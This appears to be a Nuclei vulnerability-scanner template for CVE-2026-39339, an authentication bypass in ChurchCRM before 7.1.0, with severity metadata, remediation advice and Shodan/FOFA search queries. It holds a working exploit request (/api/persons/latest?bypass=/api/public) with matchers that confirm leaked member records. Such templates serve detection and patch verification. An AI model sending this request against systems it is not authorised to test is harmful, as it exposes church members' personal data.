id: CVE-2026-39339

info:
  name: ChurchCRM - API Authentication Bypass via URL Injection
  author: akhilshekhar
  severity: critical
  description: |
    ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public
  impact: |
    Unauthenticated attackers can access all protected API endpoints, exposing sensitive church member data and system information.
  remediation: |
    Update to version 7.1.0 or later.
  reference:
    - https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-39339
    epss-score: 0.01351
    epss-percentile: 0.67884
    cwe-id: CWE-284
    cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*
  metadata:
    vendor: churchcrm
    product: churchcrm
    shodan-query: http.title:"churchcrm"
    fofa-query: app="churchcrm"
  tags: cve,cve2026,churchcrm,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/persons/latest?bypass=/api/public"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PersonId"
          - "FormattedName"
          - "\"people\""
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207955fd2a8c938689b9d54be3d7eb5f804c7ba05809d9a43b74cbcd9bf655fc25022100cc45e835ca70352ffb391714a105ab9b65007a36451a87df4efbb77f3097ec76:922c64590222798bb761d5b6d8e72950